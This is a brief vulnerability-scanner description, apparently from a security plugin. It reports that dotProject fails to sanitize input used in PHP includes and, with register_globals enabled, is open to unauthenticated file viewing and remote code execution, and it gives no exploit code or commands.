Description

The remote host is running dotProject, a web-based, open source, project management application written in PHP.

The installed version of dotProject fails to sanitize input to various parameters and scripts before using it to include PHP code. Provided PHP's 'register_globals' setting is enabled, an unauthenticated attacker may be able to exploit these flaws to view arbitrary files on the remote host or to execute arbitrary PHP code, possibly taken from third-party hosts.
